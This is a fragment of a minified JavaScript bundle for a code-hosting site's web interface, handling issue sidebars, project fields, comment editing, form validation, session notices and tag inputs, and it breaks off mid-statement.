0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], 